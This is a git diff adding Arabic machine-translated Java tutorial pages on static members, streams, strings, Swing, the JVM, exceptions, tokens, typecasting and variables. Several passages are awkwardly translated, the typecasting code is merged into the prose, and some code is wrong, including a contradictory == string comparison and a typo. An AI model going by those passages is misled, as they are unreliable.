+*   [Mkyong's Java & Spring Tutorials](http://www.mkyong.com/)
+*   [Vogella's Java Tutorials](http://www.vogella.com/tutorials/java.html)
+*   [جافا 8 تعليمي](https://github.com/winterbe/java8-tutorial)
+*   [أفضل جافا](https://github.com/cxxr/better-java)
+*   [ملاحظات البرمجة جافا من قبل NTU](http://www3.ntu.edu.sg/home/ehchua/programming/index.html#Java)
+*   [HackerRank's 30 days of Code Challenge with tutorials video in Java <](https://www.hackerrank.com/domains/tutorials/30-days-of-code)
+*   [برينستون مقدمة للبرمجة في جاوة](http://introcs.cs.princeton.edu/java/home/)
+*   [مقدمة في البرمجة باستخدام جافا](http://math.hws.edu/javanotes/)
+*   [ممارسات جافا](http://javapractices.com/home/HomeAction.do)
+*   [أنماط تصميم جافا](https://github.com/iluwatar/java-design-patterns/)
+*   [الخوارزميات في جاوة](https://github.com/pedrovgs/Algorithms)
+*   [الدليل الرسمي الربيع](https://spring.io/guides)
+*   [TutorialsPoint - جافا](http://www.tutorialspoint.com/java/)
+*   [جافا للفرق الصغيرة](https://www.gitbook.com/book/ncrcoe/java-for-small-teams/details)
+
+## التحديات
+
+*   [جافا كوانز](https://github.com/matyb/java-koans)
+*   [الترميز بات جا التحديات](http://codingbat.com/java)
+*   [Excercism Java Challenges](http://exercism.io/languages/java)
+*   [مشروع اويلر](https://projecteuler.net/)
+*   [تدرب عليه! - تحديات جافا](http://practiceit.cs.washington.edu/)
+*   [الرموز - جافا كاتاس](https://www.codewars.com/?language=java)
+*   [HackerRank Java Challenges](https://www.hackerrank.com/domains/java/java-introduction)
+*   [LeetCode](https://leetcode.com/)
+*   [CodeAbbey](http://www.codeabbey.com/)
+
+## تواصل اجتماعي
+
+*   [مجتمع جافا أوراكل](http://www.oracle.com/technetwork/java/community/index.html)
+*   [جافا رهيبة](https://github.com/akullpp/awesome-java)
+*   [/ ص / جافا](https://www.reddit.com/r/Java)
+*   [/ ص / LearnJava](https://www.reddit.com/r/learnjava)
+*   [مزرعة جاوة](http://www.javaranch.com/)
+*   [جافا رمز المهوسون](https://www.javacodegeeks.com/)
+*   [Java 8 API Search](http://javasearch.org)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/static/index.md b/client/src/guide/arabic/java/static/index.md
new file mode 100644
index 0000000000..774193486d
--- /dev/null
+++ b/client/src/guide/arabic/java/static/index.md
@@ -0,0 +1,124 @@
+---
+title: Static
+localeTitle: ثابتة
+---
+# ثابتة
+
+عندما تقوم بتعريف متغير أو طريقة بأنها ثابتة ، فإنها تنتمي إلى الفئة ، بدلاً من نسخة محددة. هذا يعني أنه يوجد مثيل واحد فقط من عضو ثابت ، حتى إذا قمت بإنشاء كائنات متعددة للفئة ، أو إذا لم تقم بإنشاء أي. ستتم مشاركتها بواسطة جميع الكائنات.
+
+يمكن استخدام الكلمة الأساسية الثابتة مع المتغيرات والطرق ومقاطع التعليمات البرمجية والفئات المتداخلة.
+
+## المتغيرات الثابتة
+
+**_مثال:_**
+
+ `public class Counter { 
+  public static int COUNT = 0; 
+  Counter() { 
+    COUNT++; 
+  } 
+ } 
+` 
+
+ستتم مشاركة المتغير `COUNT` بواسطة جميع كائنات تلك الفئة. عندما نقوم بإنشاء كائنات من صف مكافحة لدينا في الرئيسي ، والوصول إلى متغير ثابت.
+
+ `public class MyClass { 
+  public static void main(String[] args) { 
+    Counter c1 = new Counter(); 
+    Counter c2 = new Counter(); 
+    System.out.println(Counter.COUNT); 
+  } 
+ } 
+ // Outputs "2" 
+` 
+
+Outout هو 2 ، لأن متغير `COUNT` ثابت ويتم زيادته بمقدار واحد في كل مرة يتم إنشاء كائن جديد لفئة Counter. يمكنك أيضًا الوصول إلى المتغير الثابت باستخدام أي كائن من هذه الفئة ، مثل `c1.COUNT` .
+
+## طرق ثابتة
+
+ينتمي الأسلوب الثابت إلى الفئة بدلاً من الحالات. وبالتالي ، يمكن استدعائها دون إنشاء مثيل للفئة. يتم استخدامه لتغيير محتويات ثابتة للفئة. هناك بعض القيود على الأساليب الثابتة:
+
+1.  لا يمكن للطريقة الثابتة استخدام أعضاء غير ثابت (متغيرات أو وظائف) للفئة.
+2.  لا يمكن للطريقة الساكنة استخدام `this` الرئيسية أو `super` .
+
+**_مثال:_**
+
+ `public class Counter { 
+  public static int COUNT = 0; 
+  Counter() { 
+    COUNT++; 
+  } 
+ 
+  public static void increment(){ 
+    COUNT++; 
+  } 
+ } 
+` 
+
+يمكن أيضًا استدعاء أساليب ثابتة من مثيل الطبقة.
+
+ `public class MyClass { 
+  public static void main(String[] args) { 
+    Counter.increment(); 
+    Counter.increment(); 
+    System.out.println(Counter.COUNT); 
+  } 
+ } 
+ // Outputs "2" 
+` 
+
+هو 2 الإخراج لأنه يحصل زيادة بواسطة `increament()` الأسلوب `increament()` . على غرار المتغيرات الثابتة ، يمكن أيضًا الوصول إلى الطرق الثابتة باستخدام متغيرات الحالة.
+
+## كتل ثابتة
+
+يتم استخدام كتل التعليمات البرمجية الثابتة لتهيئة المتغيرات الثابتة. يتم تنفيذ هذه الكتل مباشرة بعد إعلان المتغيرات الثابتة.
+
+**_مثال:_**
+
+ `public class Saturn { 
+  public static final int MOON_COUNT; 
+ 
+  static { 
+    MOON_COUNT = 62; 
+  } 
+ } 
+` 
+
+ `public class Main { 
+  public static void main(String[] args) { 
+    System.out.println(Saturn.MOON_COUNT); 
+  } 
+ } 
+ // Outputs "62" 
+` 
+
+الإخراج هو 62 ، لأنه يتم تعيين متغير `MOON_COUNT` تلك القيمة في كتلة ثابتة.
+
+## فئات متداخلة ثابتة
+
+يمكن أن يكون للفئة فئة متداخلة ثابتة يمكن الوصول إليها باستخدام اسم الفئة الخارجية.
+
+**_مثال:_**
+
+ `public class Outer { 
+ 
+  public Outer() { 
+  } 
+ 
+  public static class Inner { 
+    public Inner() { 
+    } 
+  } 
+ } 
+` 
+
+في المثال أعلاه ، يمكن الوصول إلى الطبقة `Inner` مباشرة كعضو ثابت في الفصل `Outer` .
+
+ `public class Main { 
+  public static void main(String[] args) { 
+    Outer.Inner inner = new Outer.Inner(); 
+  } 
+ } 
+` 
+
+واحدة من حالات الاستخدام للدروس المتداخلة الثابتة في [نموذج البناء](https://en.wikipedia.org/wiki/Builder_pattern#Java) المستخدمة بشكل شائع في جافا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/streams/index.md b/client/src/guide/arabic/java/streams/index.md
new file mode 100644
index 0000000000..ce7c5a22ba
--- /dev/null
+++ b/client/src/guide/arabic/java/streams/index.md
@@ -0,0 +1,96 @@
+---
+title: Streams
+localeTitle: تيارات
+---
+# تيارات
+
+في Java 8 Streams تمت إضافتها كميزة جديدة في مربع أدوات Java. تتيح لك مجموعات البث معالجة المجموعات بسرعة وسهولة.
+
+يرجى قراءة الفصل حول lambdas والبرمجة الوظيفية قبل المتابعة.
+
+## كيف تعمل
+
+يقوم الدفق بتكرار عناصر المجموعة لك. يتم استدعاء كل عملية وسيطة وعملية لكل كائن. بمجرد الانتهاء من جميع العمليات للكائنات الأولى ، ثم يتم تحميل الكائن الثاني.
+
+## طرق مهمة
+
+### خلق
+
+*   `Collection.stream()` : إنشاء دفق من أي كائن من أي فئة تنفيذ `Collection`
+*   `Arrays.stream(array)` : إنشاء دفق من صفيف
+
+### العمليات الوسيطة
+
+هذه العمليات تحويل "كائنات دفق" بطريقة أو بأخرى.
+
+*   `Stream.map(Function<In,Out> function)` : تطبيق وظيفة لتحويل In إلى Out
+*   `Stream.filter(Predicate<In> predicate)` : إزالة كائنات من Stream التي لا `Stream.filter(Predicate<In> predicate)` true
+*   `Stream.distinct()` : إزالة كائنات من دفق والتي هي مكررة
+*   `Stream.sorted()` : فرز الكائنات في الدفق
+*   `Stream.limit(int n)` : end Stream after n Objects
+
+### العمليات الطرفية
+
+هذه العمليات تلقي "كائنات دفق" وإنهاء "دفق".
+
+*   `Stream.collect(Collector<In,?,Out> collector)` : جمع كافة الكائنات في دفق في كائن
+*   `Stream.forEach(Consumer<In> consumer)` : تستهلك كافة الكائنات في دفق باستخدام الدالة المستهلك
+*   `Stream.count()` : حساب كافة الكائنات في دفق
+*   `Stream.findFirst()` : إرجاع الكائن الأول من الدفق وإيقاف
+*   `Stream.anyMatch(Predicate<In> predicate)` : إرجاع true إذا كان أي كائن في Stream اختبارات true لـ Predicate
+*   `Stream.allMatch(Predicate<In> predicate)` : إرجاع true إذا كان كل كائن في اختبار Stream صحيح لـ Predicate
+
+## أمثلة
+
+ `// print the length of all Strings in a List 
+ for (String string : Arrays.asList("abc", "de", "f", "abc")) { 
+    int length = string.length(); 
+    System.out.println(length); 
+ } 
+ 
+ Arrays.asList("abc", "de", "f", "abc") 
+        .stream() 
+        .map(String::length) 
+        .forEach(System.out::println); 
+ 
+ // output: 3 2 1 3 
+` 
+
+ `// print all Strings in a List with a Length greater than 2 
+ for (String string : Arrays.asList("abc", "de", "f", "abc")) { 
+    if (string.length() > 2) { 
+        System.out.println(string); 
+    } 
+ } 
+ 
+ Arrays.asList("abc", "de", "f", "abc") 
+        .stream() 
+        .filter(string -> string.length() > 2) 
+        .forEach(System.out::println); 
+ 
+ // output: abc abc 
+` 
+
+ `// create a sorted List with all unique Strings from another List which are longer than or requal 2 
+ List<String> result = new ArrayList<>(); 
+ for (String string : Arrays.asList("de", "abc", "f", "abc")) { 
+    if (string.length() >= 2 
+            && ! result.contains(string)) { 
+        result.add(string); 
+    } 
+ } 
+ Collections.sort(result); 
+ 
+ List<String> result2 = Arrays.asList("de", "abc", "f", "abc") 
+        .stream() 
+        .filter(string -> string.length() >= 2) 
+        .distinct() 
+        .sorted() 
+        .collect(Collectors.toList()); 
+ 
+ // result: abc de 
+` 
+
+### مصادر
+
+1.  [معالجة البيانات باستخدام Java SE 8 Stream ، الجزء الأول](http://www.oracle.com/technetwork/articles/java/ma14-java-se-8-streams-2177646.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/strings/index.md b/client/src/guide/arabic/java/strings/index.md
new file mode 100644
index 0000000000..f5f96020e3
--- /dev/null
+++ b/client/src/guide/arabic/java/strings/index.md
@@ -0,0 +1,129 @@
+---
+title: Strings
+localeTitle: سلاسل
+---
+# سلاسل
+
+سلاسل هي تسلسل من الشخصيات. في Java ، تعد `String` `Object` . ينبغي عدم الخلط بين السلاسل مع `char` كأحرف حرفيا 1 قيمة بدلا من سلسلة من الأحرف. لا يزال بإمكانك استخدام قيمة واحدة داخل سلسلة ، ومع ذلك يفضل استخدام `char` عند التحقق من حرف واحد.
+
+ `String course = "FCC"; 
+ System.out.println(course instanceof Object); 
+` 
+
+انتاج:
+
+ `true 
+` 
+
+يمكنك إنشاء كائن سلسلة بالطرق التالية:
+
+1.  `String str = "I am a String"; //as a String literal`
+2.  `String str = "I am a " + "String"; //as a constant expression`
+3.  `String str = new String("I am a String"); //as a String Object using the constructor`
+
+قد تفكر: ما الفرق بين الثلاثة؟
+
+حسنًا ، باستخدام الكلمة الأساسية `new` تضمن إنشاء كائن `String` جديد وسيتم تخصيص موقع ذاكرة جديد في `Heap` الذاكرة [(انقر هنا لمعرفة المزيد)](https://docs.oracle.com/cd/E13150_01/jrockit_jvm/jrockit/geninfo/diagnos/garbage_collect.html) . خيط يتم تخزين العناصر الحرفية وعبارات السلسلة الثابتة في وقت التحويل البرمجي. يضعها المترجم في "سلسلة Literal تجمع" لمنع التكرارات وتحسين استهلاك الذاكرة. تخصيص كائن مكلف ويزيد هذا الأداء الأداء أثناء إنشاء سلاسل. إذا كنت تستخدم نفس الحرفي مرة أخرى ، يستخدم JVM نفس الكائن. إن استخدام المُعْلَم كما هو مذكور أعلاه هو دائمًا خيارًا أسوأ.
+
+في مقتطف الشفرة هذا ، كم عدد كائنات السلسلة التي تم إنشاؤها؟
+
+ `String str = "This is a string"; 
+ String str2 = "This is a string"; 
+ String str3 = new String("This is a string"); 
+` 
+
+الإجابة هي: يتم إنشاء كائنات سلسلة 2. `str` و `str2` كلاهما يشيران إلى نفس الكائن. `str3` لديه نفس المحتوى ولكن باستخدام القسري `new` خلق كائن جديد ومتميز.
+
+عند إنشاء حرفية سلسلة ، يتحقق JVM داخليًا ، ما يعرف باسم "مجموعة `String pool` ، لمعرفة ما إذا كان يمكنه العثور على ما شابه (المحتوى الحكيم) كائن السلسلة. إذا وجدته ، فإنه يعيد نفس المرجع. وإلا ، فإنه يمضي قدما ويخلق كائن سلسلة جديد في التجمع بحيث يمكن إجراء نفس التدقيق في المستقبل.
+
+يمكنك اختبار ذلك باستخدام swallow أو fast Object Compar `==` و `equals()` .
+
+ `System.out.println(str == str2); // This prints 'true' 
+ System.out.println(str == str3); // This prints 'false' 
+ System.out.println(str.equals(str3)); // This prints 'true' 
+` 
+
+فيما يلي مثال آخر حول كيفية إنشاء سلسلة في Java باستخدام الطرق المختلفة:
+
+ `public class StringExample{ 
+ 
+   public static void main(String args[]) { 
+      String s1 = "java";  // creating string by Java string literal 
+      char ch[] = {'s','t','r','i','n','g','s'}; 
+      String s2 = new String(ch);  // converting char array to string 
+      String s3 = new String("example");  // creating Java string by new keyword 
+      System.out.println(s1); 
+      System.out.println(s2); 
+      System.out.println(s3); 
+   } 
+ } 
+` 
+
+#### مقارنة الاوتار
+
+إذا كنت ترغب في مقارنة قيمة متغيرين للسلسلة ، فلا يمكنك استخدام ==. هذا يرجع إلى حقيقة أن هذا سوف يقارن إشارات المتغيرات وليس القيم المرتبطة بها. لمقارنة القيم المخزنة من السلاسل التي تستخدمها تساوي هذه الطريقة.
+
+ `boolean equals(Object obj) 
+` 
+
+تقوم بإرجاع true إذا كان كائنان متساويان و false على خلاف ذلك.
+
+ `String str = "Hello world"; 
+ String str2 = "Hello world"; 
+ 
+ System.out.println(str == str2); // This prints false 
+ System.out.println(str.equals(str2); // This prints true 
+` 
+
+المقارنة الأولى غير صحيحة لأن "==" ينظر إلى المراجع وهي ليست متماثلة.
+
+المقارنة الثانية هي true لأن المتغيرات تخزن نفس القيم. في هذه الحالة "مرحبا بالعالم".
+
+لدينا عدة طرق يحمل في ثناياه عوامل في سلسلة. فيما يلي مثال لطريقة طول السلسلة ().
+
+ `public class StringDemo { 
+ 
+   public static void main(String args[]) { 
+      String palindrome = "Dot saw I was Tod"; 
+      int len = palindrome.length(); 
+      System.out.println( "String Length is : " + len ); 
+   } 
+ } 
+` 
+
+سيؤدي ذلك إلى - `String Length is : 17`
+
+**الإجابة هي:** يتم إنشاء كائنات سلسلة **2** . **ملاحظات**
+
+1.  تستخدم أساليب السلسلة فهارس الصفر ، باستثناء الوسيطة الثانية من `substring()` .
+2.  فصل السلسلة نهائي - لا يمكن تجاوز الأساليب.
+3.  عندما يتم العثور على حرفي String بواسطة JVM ، يتم إضافته إلى تجمّع حرج السلسلة.
+4.  تمتلك فئة String `length()` اسم الأسلوب `length()` ، بينما تحتوي الصفائف على طول تسمية سمة.
+5.  في جافا ، كائنات السلسلة غير قابلة للتغيير. غير قابل للتغيير ببساطة يعني غير قابل للتعديل أو غير قابل للتغيير. بمجرد إنشاء كائن سلسلة البيانات الخاصة به أو لا يمكن تغيير الحالة ولكن يتم إنشاء كائن سلسلة جديد.
+
+طول سلسلة
+
+"طول" السلسلة هو مجرد عدد الأحرف الموجودة فيه. حتى "hi" هي طول 2 و "Hello" هي length 5. ترجع طريقة length () على سلسلة طولها ، كما يلي:
+
+ `String a = "Hello"; 
+ int len = a.length();  // len is 5 
+` 
+
+#### طرق المقارنة الأخرى التي يمكن استخدامها أيضًا في السلسلة هي:
+
+1.  equalsIgnoreCase (): - يقارن السلسلة دون الأخذ بعين الاعتبار حساسية الحالة.
+
+ `String a = "HELLO"; 
+ String b = "hello"; 
+ System.out.println(a.equalsIgnoreCase(b));   // It will print true 
+` 
+
+2.  قارنTo: - يقارن قيمة lexicographically وإرجاع عدد صحيح.
+
+ `String a = "Sam"; 
+ String b = "Sam"; 
+ String c = "Ram"; 
+ System.out.println(a.compareTo(b));       // 0 
+ System.out.prinltn(a.compareTo(c));       // 1 since (a>b) 
+ System.out.println(c.compareTo(a));       // -1 since (c<a) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/swing/index.md b/client/src/guide/arabic/java/swing/index.md
new file mode 100644
index 0000000000..a0fe9b6447
--- /dev/null
+++ b/client/src/guide/arabic/java/swing/index.md
@@ -0,0 +1,36 @@
+---
+title: Java Swing
+localeTitle: جافا سوينغ
+---
+## جافا سوينغ
+
+دعونا استكشاف البرنامج التعليمي جافا سوينغ. قبل أن تجعل أيدينا تتسخ مع Swing ، من المستحسن أن تذهب من خلال [Toolkit Window Toolkit (AWT). في](https://www.studytonight.com/java/java-awt.php) وقت سابق ، تمت إضافة Swing كجزء من [Java Foundation Classes (JFC)](https://en.wikipedia.org/wiki/Java_Foundation_Classes) . ومع ذلك تم دمجها بالكامل في Java من Java 1.2 فصاعدا.
+
+### ميزات Strikable
+
+1.  مكونات خفيفة الوزن - بما أن مكونات Swing مكتوبة تمامًا في JAVA ، فإنها لا تستخدم موارد محددة للنظام الأساسي مثلما تفعل مكونات AWT.
+    
+2.  المظهر والمظهر القابلان للتوصيل (PLAF) - يتم تحديد المظهر والمظهر المكون بالكامل من خلال التأرجح نفسه. وهذا يسهل التمييز بين الشكل والمظهر والمنطق الخاص بالمكون.
+    
+
+تتكون واجهة المستخدم الرسومية المتأرجحة من دعامتين رئيسيتين: المكونات والحاويات. ويناقش الجزء التالي عنهما كليهما.
+
+### المكونات
+
+المكون هو مجرد عنصر تحكم مرئي مستقل. مكونات مشتقة مشتقة من فئة JComponent. علاوة على ذلك ، ترث JConent جميع خصائصها من حاويات ومكونات AWT.للحصول على مزيد من المعلومات ، يرجى الانتقال إلى التسلسل الهرمي لفئة [JComponent](https://docs.oracle.com/javase/tutorial/uiswing/components/jcomponent.html) .
+
+### حاويات
+
+جميع الحاويات هي أيضا مكونات. قد تتكون الحاويات من مكون واحد أو أكثر. يحدد التأرجح نوعين من الحاويات
+
+*   يرث من JComponent- على سبيل المثال JFrame ، JWindow ، JApplet ، JDialog
+*   لا يرث من JComponent- على سبيل المثال JPanel
+
+### حزم
+
+تأرجح يتألف من العديد من الحزم. يرجى الذهاب من خلال [الوثائق الرسمية](https://docs.oracle.com/javase/7/docs/api/javax/swing/package-use.html) لمزيد من المعلومات.
+
+#### معلومات اكثر:
+
+*   [مستندات أوراكل](https://docs.oracle.com/javase/7/docs/api/javax/swing/package-use.html)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Swing_(Java)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/the-java-virtual-machine-jvm/index.md b/client/src/guide/arabic/java/the-java-virtual-machine-jvm/index.md
new file mode 100644
index 0000000000..f7d3b4f3d2
--- /dev/null
+++ b/client/src/guide/arabic/java/the-java-virtual-machine-jvm/index.md
@@ -0,0 +1,13 @@
+---
+title: Java Virtual Machine
+localeTitle: Java Virtual Machine
+---
+# آلة جافا الافتراضية (JVM)
+
+تنتمي Java إلى عائلة من اللغات تسمى اللغات [**المجمّعة**](https://en.wikipedia.org/wiki/Compiled_language) ( [**Compiled Languages)**](https://en.wikipedia.org/wiki/Compiled_language) . يجب تحويل أي كود مكتوب بهذه اللغة (مترجم) إلى نموذج وسيط يمكن فهمه من قبل النظام الأساسي المضيف (نظام التشغيل / النظام الأساسي الذي يتم تشغيل الكود فيه).
+
+بالنسبة إلى Java ، يسمى هذا النموذج الوسيط **Bytecode** الذي يتم تفسيره بعد ذلك **بوقت** تشغيل يسمى Java Virtual Machine (JVM). فكر في [**JVM**](https://docs.oracle.com/javase/specs/jvms/se7/html/) كقطعة من البرامج تقوم بالعمل الشاق لتشغيل شفرة Java. فإنه يأخذ عناية من تخصيص الذاكرة ، وإدارة الخيط ، وجمع القمامة وأكثر من ذلك بكثير. وبصرف النظر عن جافا ، فإنه يدعم أيضا (قراءة: قادرة على تشغيل) رمز مكتوب بلغات مثل Groovy ، سكالا الخ
+
+في Java ، يتم كتابة الكود وحفظه كملفات `.java` . يعمل المحول البرمجي (javac) على ملفات java ويقوم بإنشاء ملفات Bytecode ( `.class` ) المكافئة. سيكون الأمر `java` الآن قادراً على تنفيذ Bytecode المخزنة في ملفات `.class` . المزيد عن هذا لاحقا.
+
+تصف الأقسام التالية بعض اللبنات الأساسية للتشفير في Java.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/throw-keyword/index.md b/client/src/guide/arabic/java/throw-keyword/index.md
new file mode 100644
index 0000000000..3ae34cb7de
--- /dev/null
+++ b/client/src/guide/arabic/java/throw-keyword/index.md
@@ -0,0 +1,16 @@
+---
+title: Throw
+localeTitle: يرمي
+---
+## يرمي
+
+يتم استخدام الكلمة الأساسية throw Java لرمي استثناء بشكل صريح.يمكنك التخلص من الاستثناء المحدد أو غير المحظوظ في java بإلقاء الكلمة الرئيسية. يتم استخدام الكلمة الأساسية throw لإلقاء الاستثناء المخصص.
+
+**_مثال:_**
+
+ `throw new ArithmeticException("/ by zero not permitted"); 
+` 
+
+##### المزيد من الموارد
+
+[المهوسون المهوسون](https://www.geeksforgeeks.org/throw-throws-java/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/throws-keyword/index.md b/client/src/guide/arabic/java/throws-keyword/index.md
new file mode 100644
index 0000000000..57f9651f68
--- /dev/null
+++ b/client/src/guide/arabic/java/throws-keyword/index.md
@@ -0,0 +1,30 @@
+---
+title: Throws
+localeTitle: يلقي
+---
+## يلقي
+
+يتم استخدام الكلمة الأساسية Java لخطاب للإعلان عن استثناء. يعطي معلومات للمبرمج أنه قد تحدث استثناء لذلك فمن الأفضل للمبرمج توفير رمز معالجة الاستثناء بحيث يمكن الحفاظ على التدفق العادي.
+
+**_مثال:_**
+
+ `import java.io.IOException; 
+ class Testthrows1{ 
+  void m()throws IOException{ 
+    throw new IOException("device error");//checked exception 
+  } 
+  void n()throws IOException{ 
+    m(); 
+  } 
+  void p(){ 
+   try{ 
+    n(); 
+   }catch(Exception e){System.out.println("exception handled");} 
+  } 
+  public static void main(String args[]){ 
+   Testthrows1 obj=new Testthrows1(); 
+   obj.p(); 
+   System.out.println("normal flow..."); 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/tokens/index.md b/client/src/guide/arabic/java/tokens/index.md
new file mode 100644
index 0000000000..25a5cf7dc4
--- /dev/null
+++ b/client/src/guide/arabic/java/tokens/index.md
@@ -0,0 +1,65 @@
+---
+title: tokens
+localeTitle: الرموز
+---
+# الرموز في جافا
+
+هذه هي اللبنات الأساسية للبرنامج أو أصغر وحدة من البرنامج. يدعم Java خمسة أنواع من الرموز:
+
+## 1\. الكلمات الرئيسية
+
+هذه هي الكلمات التي تحتوي على تعريفات محددة مسبقًا في المحول البرمجي ولا يمكن استخدامها كأسماء المعرّفات. هناك 51 كلمة رئيسية وكلمتان محجوزة في جافا.
+
+## 2\. معرفات
+
+هذه هي أسماء مختلفة تعطى لمكونات مختلفة من البرنامج. يتضمن ذلك أسماء المتغيرات ، والطرق ، والطبقة ، وما إلى ذلك. يجب ألا تبدأ برقم ولكن يمكن أن تحتوي على أرقام ، حروف ، شرطة سفلية ، رموز عملة.
+
+## 3\. حرفية
+
+توفر هذه طريقة للتعبير عن قيم محددة في برنامج.وهذه هي من الأنواع التالية:
+
+### القيم العددية
+
+هذه ثلاثة أنواع في Java.
+
+*   \#### عدد صحيح
+*   \#### نقطة العائمة
+*   \#### حرف حرفي
+
+### القيم البولية
+
+هذه من نوعين
+
+*   \#### صحيح
+*   \#### خاطئة
+
+### سلسلة حرفية
+
+## 4\. المشغلين
+
+هذه هي أنواع خاصة من الرموز المستخدمة لتنفيذ عمليات معينة. على سبيل المثال + ، - ، \* ، / ،٪
+
+## 5\. المراجعين
+
+وتشمل هذه علامة التبويب ، أدخل ، شريط الفضاء.
+
+##### الآن دعونا نفكر في برنامج
+
+ `       //Printing Hello World 
+ 
+ public class Hello 
+ 
+ { 
+ 
+ public static void main(String args[]) 
+ 
+ { 
+ 
+ System.out.println(“Hello World”); 
+ 
+ } 
+ 
+ } 
+` 
+
+تحتوي شفرة المصدر على الرموز المميزة مثل _العامة_ ، _والفئة_ ، و _Hello_ ، و {، _والعامة_ ، _والثابتة_ ، _والفراغ_ ، _والرئيسية_ ، و \[، و _String_ ، و\] ، و _args_ ، و {، _والنظام_ ، و _out_ ، و _println_ ، و (، و _"Hello World"_ ، و}} يتم تجميع الرموز الناتجة في Java bytecodes التي يمكن تشغيلها من داخل بيئة جافا مأخوذة من لغة جافا ، حيث تكون الرموز مفيدة للكشف عن الأخطاء ، وعندما لا يتم ترتيب الرموز في تسلسل معين ، يقوم المترجم بإنشاء رسالة خطأ.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/typecasting/index.md b/client/src/guide/arabic/java/typecasting/index.md
new file mode 100644
index 0000000000..ce97eeb5b0
--- /dev/null
+++ b/client/src/guide/arabic/java/typecasting/index.md
@@ -0,0 +1,25 @@
+---
+title: Typecasting
+localeTitle: تلبيس
+---
## تلبيس
+
+يُعرف تحويل نوع بيانات واحد إلى نوع بيانات آخر كنوع الكتابة. منذ Java هي لغة برمجة موجهة للكائنات وتدعم كل من **الوراثة** **وتعدد الأشكال** ، فمن السهل أن يشير متغير مرجع الفئة الفائقة إلى كائن فئة فرعية.
+
+عندما نقوم بتعيين قيمة نوع بيانات واحد إلى آخر ، قد لا يكون هذان النوعان متوافقين مع بعضهما البعض. إذا كانت أنواع البيانات متوافقة ، فسيقوم JVM بإجراء التحويل الذي يُعرف تلقائيًا باسم التحويل التلقائي للنوع ، وإذا لم يكن بعد ذلك ، فيجب أن يتم إرساله أو تحويله بشكل صريح.
+
+### أنواع التبييض
+
+جافا ، يتم تصنيف نوع الصب إلى نوعين.
+
+**_1\. التضمين الضمني_** هنا ، يتم إجراء "الكتابة التلقائية" في حالة توافق النوعين نوع الهدف أكبر من نوع المصدر. على سبيل المثال. \`\` \`جافا int i = 100؛ long l = i؛ // لا يوجد نوع صريح الصب المطلوبة float f = l؛ // لا يوجد نوع صريح الصب المطلوبة
+
+ `***2.  Explicit Typecasting*** 
+ When we assign a larger type value to a variable of smaller type, then we need to perform explicit type casting. 
+ eg. 
+` 
+
+جافا double d = 100.04؛ long l = (long) d؛ // صب نوع صريح مطلوب int i = (int) l؛ // صب نوع صريح مطلوب \`\` \`
+
+#### معلومات اكثر:
+
+*   [Oracle Java Docs: Typecasting](https://docs.oracle.com/javase/specs/jls/se7/html/jls-5.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/variables/index.md b/client/src/guide/arabic/java/variables/index.md
new file mode 100644
index 0000000000..4886a3b12f
--- /dev/null
+++ b/client/src/guide/arabic/java/variables/index.md
@@ -0,0 +1,53 @@
+---
+title: Variables
+localeTitle: المتغيرات
+---
+# المتغيرات
+
+متغيرات تخزين القيم. وهي الكيان الأساسي المستخدم لتخزين البيانات مثل النص والأرقام وما إلى ذلك في أي برنامج.
+
+في [Java](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Java) ، يتم [_كتابة_](https://en.wikipedia.org/wiki/Strong_and_weak_typing#Definitions_of_.22strong.22_or_.22weak.22) المتغيرات [_بقوة_](https://en.wikipedia.org/wiki/Strong_and_weak_typing#Definitions_of_.22strong.22_or_.22weak.22) ، مما يعني أنه عليك تحديد النوع لكل متغير كلما قمت بتعريفه. خلاف ذلك ، سوف يلقي المترجم خطأ في [وقت التحويل البرمجي](https://en.wikipedia.org/wiki/Compile_time) . لذلك ، يحتوي كل متغير على " [نوع بيانات](https://guide.freecodecamp.org/java/data-types) " مقترن بإحدى الطرق التالية:
+
+*   النوع البدائي: `int` ، `short` ، `char` ، `long` ، `boolean` ، `byte` ، `float` ، `double`
+*   نوع المجمع: `Integer` ، `Short` ، `Char` ، `Long` ، `Boolean` ، `Byte` ، `Float` ، `Double`
+*   نوع المرجع: `String` ، `StringBuilder` ، `Calendar` ، `ArrayList` ، وما إلى ذلك
+
+ربما لاحظت أن **نوع الالتفاف** يتكون من أنواع مكتوبة بالضبط مثل **النوع البدائي** ، باستثناء الحروف الأبجدية في البداية (مثل **نوع المرجع** ). ويرجع ذلك إلى أن أنواع الالتفاف هي في الواقع جزء من أنواع المراجع العامة ، ولكنها _مرتبطة ارتباطًا وثيقًا_ بنظيراتها البدائية من خلال [autoboxing و unboxing](https://docs.oracle.com/javase/tutorial/java/data/autoboxing.html) . الآن ، تحتاج فقط إلى معرفة أن مثل "نوع التفاف" موجود.
+
+عادة ، يمكنك أن _تعلن_ (أي إنشاء) المتغيرات وفقا للبناء التالي: < _data-type_ > < _variableName_ >؛
+
+ `// Primitive Data Type 
+ int i; 
+ 
+ // Reference Data Type 
+ Float myFloat; 
+` 
+
+يمكنك _تعيين_ قيمة للمتغير إما في نفس الوقت الذي تقوم فيه بالتصريح (الذي يسمى _التهيئة_ ) ، أو في أي مكان في الكود بعد أن تقوم بإعلانه. الرمز **\=** يستخدم لنفسه.
+
+ `// Initialise the variable of Primitive Data Type 'int' to store the value 10 
+ int i = 10; 
+ double amount = 10.0; 
+ boolean isOpen = false; 
+ char c = 'a'; // Note the single quotes 
+ 
+ //Variables can also be declared in one statement, and assigned values later. 
+ int j; 
+ j = 10; 
+ 
+ // initiates an Float object with value 1.0 
+ // variable myFloat now points to the object 
+ Float myFloat = new Float(1.0); 
+ 
+ //Bytes are one of types in Java and can be 
+ //represented with this code 
+ int byteValue = 0B101; 
+ byte anotherByte = (byte)0b00100001; 
+` 
+
